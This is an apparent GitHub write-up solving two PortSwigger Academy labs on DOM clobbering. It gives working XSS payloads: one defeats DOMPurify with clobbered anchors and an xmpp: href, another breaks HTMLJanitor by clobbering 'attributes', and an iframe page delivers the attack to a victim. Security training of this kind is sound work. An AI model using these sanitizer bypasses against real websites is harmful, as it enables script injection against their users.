portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to DOM-based vulnerabilities:

6 Exploiting DOM clobbering to enable XSS

This lab demonstrates how attackers can exploit DOM clobbering to manipulate the document structure and enable XSS attacks.

7 Clobbering DOM attributes to bypass HTML filters

This lab shows how attackers can clobber DOM object attributes to bypass server-side or client-side HTML sanitization filters.

LAB 6 - Exploiting DOM clobbering to enable XSS

Lab Description

image

Solution

The application’s comment function allows HTML input. Test with tags<h1>

DOM Clobbering-Based XSS Exploit Walkthrough

Step 1: HTML Input Allowed in Comments

The application’s comment feature allows HTML tags like <h1>.

Test Input:

<h1>Test Heading</h1>

Output Screenshot:

image

The <h1> tag is successfully rendered, confirming that HTML is processed.


Step 2: Inspect JavaScript Source

Reviewing the page’s source reveals a script named loadCommentsWithDomClobbering.js that handles comment rendering.

Screenshot:

image

Relevant JS snippet:

image

The core logic:

let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'};
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

Step 3: DOM Clobbering

We can clobber window.defaultAvatar by inserting two <a> tags:

This causes window.defaultAvatar.avatar to reference the href attribute of the second <a> tag.

Clobbering Payload:

<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='\"onerror=alert(1)//'>

Problem: The href attribute is removed due to DOMPurify sanitization.

image


Step 4: Bypass DOMPurify Filtering

The app uses DOMPurify as shown:

commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

To bypass this, we exploit a trick in DOMPurify:

Working Payload:

<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href=xmpp:&quot;onerror=alert(1)//>

Step 5: Exploitation Process

  1. Post Comment 1: Inject the clobber payload
  2. Post Comment 2: Load any other comment → avatar rendering triggers XSS

Clobber Comment Example:

image

Triggered XSS Result:

image


The XSS was successfully triggered via DOM Clobbering and sanitization bypass.

image


LAB 7 - Clobbering DOM attributes to bypass HTML filters

Lab Description

image

Solution

DOM Clobbering Bypass via HTMLJanitor Configuration

Step 1: Discovering the Sanitizer – HTMLJanitor

Reading the HTML source of the post page reveals that the application loads two key scripts:

Screenshot:

image


Step 2: Whitelisted Tags and Attributes

In the script loadCommentsWithDomClobbering.js, we find a strict whitelist for allowed HTML tags and attributes:

let janitor = new HTMLJanitor({
    tags: {
        input: {
            name: true,
            type: true,
            value: true
        },
        form: {
            id: true
        },
        i: {},
        b: {},
        p: {}
    }
});

Only the following are allowed:

Tag Allowed Attributes
input name, type, value
form id
i, b, p None

Then, when rendering comments:

commentBodyPElement.innerHTML = janitor.clean(comment.body);

Step 3: Testing the Whitelist

Testing with a valid comment:

<form id=test><input name=button type=button value=Click>

It renders successfully because it complies with the whitelist.

Screenshot:

image


Step 4: Inspecting the clean() and _sanitize() Logic

The clean() method internally calls _sanitize() to remove disallowed attributes:

Screenshot:

image

Core logic from _sanitize():

// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
  var attr = node.attributes[a];
  if (shouldRejectAttr(attr, allowedAttrs, node)) {
    node.removeAttribute(attr.name);
    a = a - 1; // Adjust loop after removal
  }
}

// Sanitize children
this._sanitize(document, node);

Step 5: Exploiting DOM Clobbering on attributes

If we clobber the attributes property on a node (i.e., set id="attributes" on a child input), node.attributes.length becomes undefined. This breaks the sanitizer loop and skips attribute validation.

Payload:

<form id=exp tabindex=1 onfocus=print()><input id=attributes>

Explanation:

Result Screenshot:

image


Step 6: Triggering the Payload

Comment with the payload:

image

Then, focus on the form via its id:

Execution Proof:

image


Step 7: Using an iframe to Auto-Focus (for Victim Delivery)

We send the victim a crafted iframe that triggers the focus event after a delay:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/post?postId=7" 
        onload="setTimeout(()=>this.src=this.src+'#x',500)">
</iframe>

Screenshot:

image


Final Result

Once the victim loads the malicious iframe, the payload is triggered and the challenge is solved.

Final Screenshot:

image